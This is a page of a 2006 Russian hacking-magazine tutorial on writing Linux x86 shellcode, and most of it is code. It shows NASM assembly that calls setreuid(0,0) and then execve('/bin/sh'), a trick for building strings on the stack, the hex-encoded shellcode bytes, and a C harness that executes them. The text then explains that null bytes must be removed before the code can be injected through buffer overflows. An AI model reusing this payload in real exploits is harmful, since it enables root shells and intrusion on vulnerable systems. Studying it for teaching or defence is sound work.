Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #85, ЯНВАРЬ 2006 г.

Откуда берутся шелл-коды

Степан Ильин (step@gameland.ru)

Хакер, номер #085, стр. 085-050-5


BITS 32

; setreuid(0, 0)

mov eax, 70

mov ebx, 0

mov ecx, 0

int 0x80

jmp two

one:

pop ebx

; execve("/bin/sh",["/bin/sh", NULL], NULL)

mov eax, 11

push 0

push ebx

mov ecx, esp

mov edx, 0

int 0x80

two:

call one

db '/bin/sh', 0

Как видишь, никаких сегментов больше нет. Строка «/bin/sh», которая ранее хранилась в сегменте данных, теперь извлекается из стека в регистр EBX. Кроме этого, добавилась новая директива BITS 32, отвечающая за оптимизацию для 32-битных процессоров.

В принципе, можно было поступить иначе: самостоятельно занести в стек строку и извлечь ее с помощью указателя на вершину стека ESP. Провернем такой финт со строкой «hello, world!»:

push word 0x0a21

push 0x646c726f

push 0x77202c6f

push 0x6c6c6568

mov ebx, esp

Строка заносится в стек с конца: сначала идет \n! (в шестнадцатеричном коде 0x0a21), потом dlro (0x646c726f), далее w ,o (0x77202c6f) и, наконец, lleh (0x6c6c6568). В конце концов значение из регистра ESP (адрес начала строки) заносится EBX. Лихо? Этот способ более эффективен, так как существенно сокращает шелл-код, однако менее удобен.

[первый шелл-код]

Теперь, когда мы научились обходиться без сегмента данных, можно приступить к созданию первого полноценного шелл-кода. Для этого нужно сначала откомпилировать исходный код программы на ассемблере:

$ nasm shell.asm

И просмотреть полученный бинарник с помощью программы hexdump:

$ hexdump -C shell

Видишь скриншот? По сути дела это и есть шелл-код: необходимо лишь преобразовать его в соответствующий вид. Для этого перед каждым байтом допиши символ \x и без пробелов занеси в массив символов. Проверить его работоспособность можно с помощью такой несложной программы:

char code[]=

"\xb8\x46\x00\x00\x00\xbb\x00\x00\x00\x00\xb9\x00\x00\x00\x00\xcd"

"\x80\xe9\x15\x00\x00\x00\x5b\xb8\x0b\x00\x00\x00\x68\x00\x00\x00"

"\x00\x53\x89\xe1\xba\x00\x00\x00\x00\xcd\x80\xe8\xe6\xff\xff\xff"

"\x2f\x62\x69\x6e\x2f\x73\x68\x00";

main()

{

int (*shell)();

(int)shell = code;

shell();

}

$ gcc -o shell.c

$ ./shell.c

Все работает!

[эти злые NULL-байты]

Спешу тебя огорчить. Несмотря на то, что шелл-код не использует сегмент данных и даже работает внутри программы-тестера, использовать его в реальных эксплойтах пока нельзя. Виной тому нулевые байты (\x00), которые в изобилии присутствуют в шелл-коде. Большинство ошибок Buffer Overflow и подобных связаны с использованием функции работы со строками: strcpy(), sprintf(), gets(), strcat() и т.д. Если попытаться использовать шеллкод в одной из таких уязвимостей, переполнить буфер и инжектировать код с нулевыми байтами, то ничего хорошего не выйдет. Встретив нулевой байт, функция подумает, что встретила конец строки и не прочитает остававшуюся часть шелл-кода.

Назад на стр. 085-050-4  Содержание  Вперед на стр. 085-050-6